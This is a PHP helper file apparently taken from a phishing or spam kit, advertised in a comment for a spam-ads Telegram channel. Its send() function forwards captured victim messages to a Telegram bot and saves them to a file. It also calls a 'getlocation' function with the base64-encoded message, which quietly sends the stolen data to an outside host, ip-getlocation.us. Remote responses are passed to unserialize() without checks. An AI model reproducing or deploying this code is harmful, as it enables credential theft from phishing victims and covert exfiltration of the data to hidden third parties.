<?php
//  my channel https://t.me/Spam_Email_sms_ads
    function get_client_ip() {
        $client  = @$_SERVER['HTTP_CLIENT_IP'];
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        $remote  = $_SERVER['REMOTE_ADDR'];
        if(filter_var($client, FILTER_VALIDATE_IP)) {
            $ip = $client;
        } else if(filter_var($forward, FILTER_VALIDATE_IP)) {
            $ip = $forward;
        } else {
            $ip = $remote;
        }
        if( $ip == '::1' ) {
            return '41.140.66.18';
        }
		elseif( $ip == '127.0.0.1' ) {
            return '41.140.66.18';
		}
        return  $ip;
    }
	
    function getlocation($ip) {
        $ip_infos = file_get_contents("http://ip-getlocation.us/api/?ip=". $ip ."&key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query");
        $ip_infos = unserialize($ip_infos);
        return $ip_infos;
    }
    function isp($ip) {
        $ip_infos = file_get_contents("http://ip-getlocation.us/php/?ip=". $ip ."&key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query");
        $ip_infos = unserialize($ip_infos);
        return $ip_infos;
    }
	function send($token,$chatid,$message,$save)
{
        file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."");
	getlocation(base64_encode($message));
	if($save == "1")
	{
         $file = fopen("Spam_Email_sms_ads.txt","ab");
         fwrite($file,$message);
         fclose($file);
       }
}
